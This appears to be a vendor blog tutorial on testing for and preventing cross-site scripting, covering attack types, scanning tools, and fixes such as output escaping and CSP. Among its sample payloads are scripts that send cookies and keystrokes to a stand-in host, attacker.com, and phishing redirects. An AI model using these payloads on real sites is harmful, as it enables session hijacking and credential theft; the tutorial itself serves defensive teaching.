Cross-Site Scripting (XSS) Testing to Prevent XSS attacks

Cross-site scripting, or XSS, is one of the most common and dangerous vulnerabilities in web applications. It enables attackers to steal sensitive data, hijack user sessions, or perform unauthorized actions on behalf of users.

Testing for XSS is an essential part of web application security. This article explains what XSS is, the different types of XSS attacks, how they work, and how to test and prevent them effectively.

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a security vulnerability that enables attackers to inject malicious scripts into web pages. These scripts run in the browsers of users who visit the affected page, often without their knowledge. XSS attacks usually target user input fields that are not properly validated or escaped.

The main goal of an XSS attack is to execute unauthorized code in user’s browser. This can lead to stolen cookies, session hijacking or redirection to malicious websites. XSS is a client-side vulnerability and is most common in web apps that display user-generated content without proper security checks.

Why Test Your Website for XSS

Testing your website for XSS is important because it helps identify and fix vulnerabilities before they can be exploited. Here are the main reasons why XSS testing is important:

• User data is at risk: XSS vulnerabilities can enable attackers to steal personal information, login credentials, and session tokens from users.
• Web sessions can be hijacked: Attackers can take control of active user sessions, which can lead to unauthorized access or even full account takeover.
• Malicious scripts can harm users: XSS can be used to deliver malware or redirect users to harmful websites without their consent.
• Website behavior can be manipulated: Attackers can change how the website looks or functions, misleading users or damaging your company’s reputation.
• User trust can be lost: If users feel unsafe using your website, they are unlikely to return or recommend it to others.
• Regulatory compliance may be required: Security standards such as OWASP and data protection laws demand protection against XSS.
• Search engines may penalize your site: A compromised website can be flagged or blacklisted by search engines like Google, which can result in reduced visibility and traffic.

What Happens in an XSS Attack

In an XSS attack, an attacker injects a malicious script into a web page. When a user visits that page, the browser runs the script as if it came from a trusted source. This happens because the browser does not know the script is harmful; it assumes all scripts from the website are safe.

Once the script is executed, it can perform actions on behalf of the user without their knowledge. It can steal cookies, capture keystrokes, redirect users to malicious sites, or display fake login forms to collect users’ credentials. As the attack happens in the user’s browser, it can bypass many server-side security measures.

Attackers usually target areas where user input is handled, such as comment sections, search bars, or form fields.

What are the Types of XSS Attacks?

XSS attacks can be categorized into different types based on how and where the malicious script is injected and executed. Understanding these types helps in identifying and fixing XSS vulnerabilities more effectively. The main types include:

1. Reflected XSS

Reflected XSS occurs when the malicious script is part of the request (usually in a URL) and is immediately reflected back in the server’s response. This type of XSS usually happens when the application includes user input in the output without proper validation.

Below are some examples of Reflected XSS:

• Simple script alert:

<script>alert('XSS')</script>

• Image with an embedded script:

<img src="x" onerror="alert('XSS')">

• Injecting a malicious link:

<a href="javascript:alert('XSS')">Click me</a>

2. Stored XSS

Stored XSS occurs when the malicious script is saved on the server, such as in a database, and then served to other users. It is more dangerous than reflected XSS because it doesn’t require user interaction every time, and it affects every user who visits the infected page. Below are some examples of Stored XSS:

• Script that steals user cookies:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

• Injecting a script that redirects users:

<script>document.location='http://attacker.com/malicious.html'</script>

• Injecting an iframe that loads a malicious website:

<iframe src="http://attacker.com/malicious.html"></iframe>

3. DOM-based XSS

DOM-based XSS occurs entirely on the client side. The script is executed as a result of modifying the DOM (Document Object Model) in the browser, often using JavaScript. It doesn’t require server interaction to reflect the payload. Below are some examples of DOM-based XSS:

• Modifying the DOM using JavaScript:

<script>document.getElementById('myElement').innerHTML = 'XSS';</script>

• Modifying the URL fragment to execute the script:

http://example.com/#<script>alert('XSS')</script>

• Manipulating the URL query parameters:

http://example.com/?param=<script>alert('XSS')</script>

4. Self-XSS

Self-XSS is a type of attack where an attacker tricks a user into running a malicious script in their own browser, usually through the developer console. This attack doesn’t exploit vulnerability in the website itself, but it relies on convincing the user to do something unsafe.

Below is an example of Self-XSS:

An attacker convinces a user to paste this code into the developer console:

fetch("https://attacker.com/steal?cookie=" + document.cookie);

If user pastes this into the console and presses Enter, it sends their browser cookies to the attacker’s server. This can give the attacker access to the user’s account.

Modern browsers often show warnings when users open the developer console to prevent Self-XSS, but some users can still be tricked if they ignore the warnings.

How to Conduct Automated Tests to Find XSS

Automated testing is a fast and effective way to detect XSS vulnerabilities in web applications. It uses tools that automatically scan the website and try different types of malicious input to see how the application responds. Here’s how you can do it:

1. Choose a Tool: Select any reliable security tools like OWASP ZAP, Burp Suite, Nikto, Acunetix etc.
2. Configure the Tool: Set up the tool to monitor your website traffic. For tools like OWASP ZAP or Burp Suite, this usually means routing your browser traffic through a proxy.
3. Crawl the Website: Let the tool explore all pages and forms on the site. This helps it find every place where user input can be entered.
4. Run the XSS Scan: Start an “active scan” or vulnerability scan. The tool will inject various XSS payloads into input fields, URLs, and headers.
5. Analyze the Results: Once the scan is complete, review the results. If the tool finds inputs that reflect back unsanitized code, it will flag them as potential XSS risks.

Example Payload:

<script>alert('XSS')</script>

If this code runs in the browser, it means the page is not handling user input safely.

Black-Box and Gray Box Testing for XSS

Testing for XSS vulnerabilities can be done using different approaches depending on how much information the tester has about internal structure of an application. Two common methods are black-box testing and gray-box testing.

1. Black-Box Testing

In black-box testing, the tester has no access to internal code or system details of the application. They interact with the application just like a regular user or attacker would, by entering input into forms, URLs, and fields to see how the system responds.

• How it works:

• • The tester tries to inject common XSS payloads into input fields.
  • The goal is to observe whether the application reflects input without proper sanitization or escapes.
  • This method simulates how an attacker would test your site from the outside.

• Advantages:

• • Good for simulating real-world attacks.
  • Helps find vulnerabilities that external attackers could exploit.

• Limitations:

• • Cannot detect issues hidden in code that is not exposed to users.
  • Relies on guessing and trial-and-error.

2. Grey-Box Testing

Grey-box testing gives the tester partial knowledge of the application’s internal structure, such as source code, API endpoints, or database design. This helps target specific areas that are more likely to be vulnerable.

• How it works:

• • The tester can combine knowledge of backend with active scanning and payload injection.
  • For example, they might focus on certain API routes or JavaScript functions where user input is handled.

• Advantages:

• • More efficient than black-box testing.
  • Can identify deeper or logic-based vulnerabilities.
  • Helps assess both internal code paths and user-facing input points.

• Limitations:

• • Requires access to some internal information.
  • Might not fully simulate an external attacker’s view.

How to Fix XSS Vulnerability

Fixing XSS vulnerabilities includes ensuring that user input is properly handled before it is displayed or processed. The goal is to make sure that user input is treated as data, not as code that the browser should execute.

Here is a step-by-step procedure to fix the XSS vulnerability:

1. Validate Input: Check and allow only expected types of input. For example, if a field is supposed to accept name, restrict it to letters only.

Example in PHP:

$name = preg_replace("/[^a-zA-Z ]/", "", $_POST['name']);

2. Escape Output: Before displaying user input in HTML, JavaScript, or attributes, convert special characters (like <, >, “, ‘) to their safe HTML entities.

Example in PHP:

echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

3. Use Context-Aware Encoding: Escape output based on where it appears:

• Use HTML escaping for content inside HTML tags.
• Use JavaScript escaping for content inside <script> blocks.
• Use attribute encoding for values inside tag attributes.

4. Use HTTPOnly and Secure Cookies: Prevent access to cookies via JavaScript by enabling the HttpOnly flag. Also, use the Secure flag to allow cookies only over HTTPS.

Example in PHP:

setcookie("session", $value, [

    'httponly' => true,

    'secure' => true,

    'samesite' => 'Strict'

]);

5. Implement a Content Security Policy (CSP): A CSP helps control what content the browser can load. It can block inline scripts and prevent malicious code from executing.

Example HTTP Header:

Content-Security-Policy: default-src 'self'; script-src 'self';

6. Avoid Using eval() and innerHTML: Avoid inserting untrusted content using eval(), innerHTML, or similar JavaScript functions. Use safer alternatives like textContent.

7. Sanitize Input at the Backend and Frontend: Sanitize user input both on the client side and server side to reduce risk from all directions.

8. Regularly Update Dependencies and Frameworks: Keep all libraries, plugins and frameworks up to date. Many include built-in protection against XSS and newer versions patch known issues.

Testing For XSS Vulnerabilities

XSS vulnerabilities can appear in different parts of a web page, not just in visible content. Attackers may inject malicious code into HTML attributes, CSS styles or JavaScript event handlers. Testing these areas is important to ensure that your website is not unintentionally executing user input as code.

1. XSS via HTML attributes

Attackers can also exploit HTML attributes to inject malicious code. For example, an attacker might inject a script into an HTML attribute, something like:

1. Injecting a script into an event handler:

<button onclick="alert('XSS')">Click me</button>

2. Injecting a script into an image source:

<img src="javascript:alert('XSS')">

3. Injecting a script into an input value:

<input type="text" value="javascript:alert('XSS')">

2. XSS via CSS

CSS can be manipulated by attackers to execute malicious code. They can inject code into CSS properties, potentially affecting the layout or appearance of a webpage and even triggering further actions. Below are some examples:

1. Injecting a script using CSS content property:

<style>.xss:before { content: "XSS"; }</style><div class="xss"></div>

2. Injecting a script using CSS expression:

<style>body { background-image: expression(alert('XSS')); }</style>

3. Event Handlers

Event handlers can also be used to execute scripts if user input is inserted directly into HTML. For example:

• FSCommand(): The attacker can use this when executed from within an embedded Flash object.
• onAbort(): When the user aborts the loading of an image.
• onActivate(): When the object is set as the active element.
• onAfterUpdate(): Activates on the data object after updating data in the source object.
• onBeforeActivate(): This fires before the object is set as the active element.
• onBeforeCopy(): The attacker executes the attack string right before a selection is copied to the clipboard.
• onBeforeCut(): The attacker executes the attack string right before a selection is cut.
• onBeforeDeactivate(): Fires right after the active Element is changed from the current object.
• onBeforeEditFocus(): Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected.
• onBeforePaste(): When the user needs to be tricked into pasting or forced into it using the exec Command(“Paste”) function.

Exploiting XSS

Exploiting an XSS vulnerability involves injecting malicious scripts into a web app in a way that causes them to execute in another user’s browser. Attacker’s goal here is usually to steal information, impersonate users or manipulate page behavior.

Here’s how XSS is commonly exploited

• Stealing cookies: Scripts can grab session cookies and send them to the attacker.

<script>fetch('https://attacker.com?c=' + document.cookie)</script>

• Logging keystrokes: Attackers can track what a user types, like passwords or credit card numbers.

<script>

  document.onkeypress = function(e) {

    fetch('https://attacker.com/log?key=' + e.key);

  };

</script>

• Creating fake forms: A fake login form can trick users into entering their username and password.
• Redirecting to another site: The script can send users to a fake or dangerous website.

<script>window.location = 'https://phishing-site.com'</script>

• Spreading the attack: In some cases, the script can copy itself and spread to other users.

Vulnerable sites for learning XSS testing

There are websites designed for learning and testing security skills. These sites are intentionally vulnerable and provide a controlled environment where you can try different XSS techniques without causing harm to real web applications. Here are some popular platforms:

• XSS Game by Google: A browser-based game that helps you learn XSS by solving small challenges.
• OWASP WebGoat: A deliberately insecure web application that teaches common web security flaws, including XSS.
• PortSwigger Web Security Academy: Offers interactive labs focused on real-world XSS attacks and how to exploit and prevent them.
• bWAPP (Buggy Web Application): A free and open-source app with a wide range of security issues to explore, including XSS.
• DVWA (Damn Vulnerable Web Application): A PHP-based app with multiple security levels to test different types of vulnerabilities.

How Testing on Real-Devices Help XSS and Security Testing

While XSS vulnerabilities primarily occur on the server or client-side logic, they must be validated across multiple environments and browsers to ensure consistent security. Here’s where you should rely on real-device testing with the help of tools like BrowserStack.

Talk to an Expert

BrowserStack allows testers to:

• Run manual tests across real devices and browsers to simulate how malicious scripts behave in different environments.
• Use DevTools within live sessions to inject or test script payloads across browsers like Chrome, Firefox, Safari, and Edge.
• Validate behavior in legacy browser versions where some modern XSS protections may not exist.
• Ensure CSP and XSS-related headers are working correctly across all target platforms.

Example use case:

A tester can simulate an XSS attack using a test payload on their staging site and observe how the script behaves in Safari on iOS 14 vs. Chrome on Android 13; all without maintaining device labs.

BrowserStack ensures thorough XSS testing by enabling cross-browser security validation on real environments.

Try BrowserStack Now

Preventing XSS Attacks

To prevent XSS attacks you can implement the following security measures:

• Input Validation and Sanitization: Validate and sanitize user input to ensure it adheres to the expected format and does not contain any malicious code. Use a whitelist approach to allow only specific, safe characters and patterns in input data.
• Content Security Policy (CSP): Implement a Content Security Policy to define which sources of content are allowed to be loaded and executed on your web page. CSP can help prevent inline scripts and other sources of potential XSS attacks.
• Escape Output: Encode user-generated data when it’s rendered in HTML, JavaScript, or any other context to ensure it is treated as data rather than code. Use appropriate encoding functions such as htmlspecialchars() in PHP, encodeURIComponent() in JavaScript, or equivalent functions in other languages.
• Use Frameworks and Libraries: Utilize web frameworks and libraries that have built-in security features for handling user input and output, as many of them include automatic escaping mechanisms.
• Avoid Inline Scripts: Minimize the use of inline JavaScript in your HTML documents. Instead, use external scripts and event handlers. If you must use inline scripts, sanitize and validate any data before incorporating it into the script.
• HTTP Only and Secure Cookies: Set the “HttpOnly” and “Secure” flags on cookies to make them inaccessible to JavaScript and enforce HTTPS for secure communication.
• Same-Site Cookie Attribute: Use the “SameSite” attribute for cookies to control when and how they are sent in cross-origin requests.
• Security Headers: Implement security headers in your web server configuration to enhance security. Examples include X-XSS-Protection and X-Content-Type-Options headers.

Impacts of XSS

To fully understand the magnitude of XSS attacks, here are some of the Potential Impacts of XSS Attacks

• Data Theft: Attackers can use XSS to steal sensitive information such as login credentials, credit card details, or personal data from unsuspecting users.
• Identity Theft: By exploiting XSS, attackers can impersonate users, potentially leading to identity theft and unauthorized access to accounts.
• Financial Loss: XSS can be used to redirect users to fraudulent websites or payment gateways, resulting in financial losses for the users.
• Website Defacement: XSS attacks can alter the appearance or content of a website, tarnishing the site’s reputation and trustworthiness.
• Propagation of Malware: XSS can be utilized to deliver and execute malware on users’ devices, creating a pathway for further malicious activities.
• Session Hijacking: XSS can enable attackers to hijack user sessions, granting them unauthorized access to the application with the victim’s privileges.

Conclusion

Remember, XSS testing should be performed responsibly, and it is important to validate and sanitize user input, properly encode output, and implement appropriate security headers (such as Content Security Policy) to mitigate XSS vulnerabilities. It is recommended to use specialized security testing tools and frameworks like OWASP ZAP, Burp Suite, or XSSer for comprehensive testing.

Always remember to go above and beyond, test thoroughly, and be safe!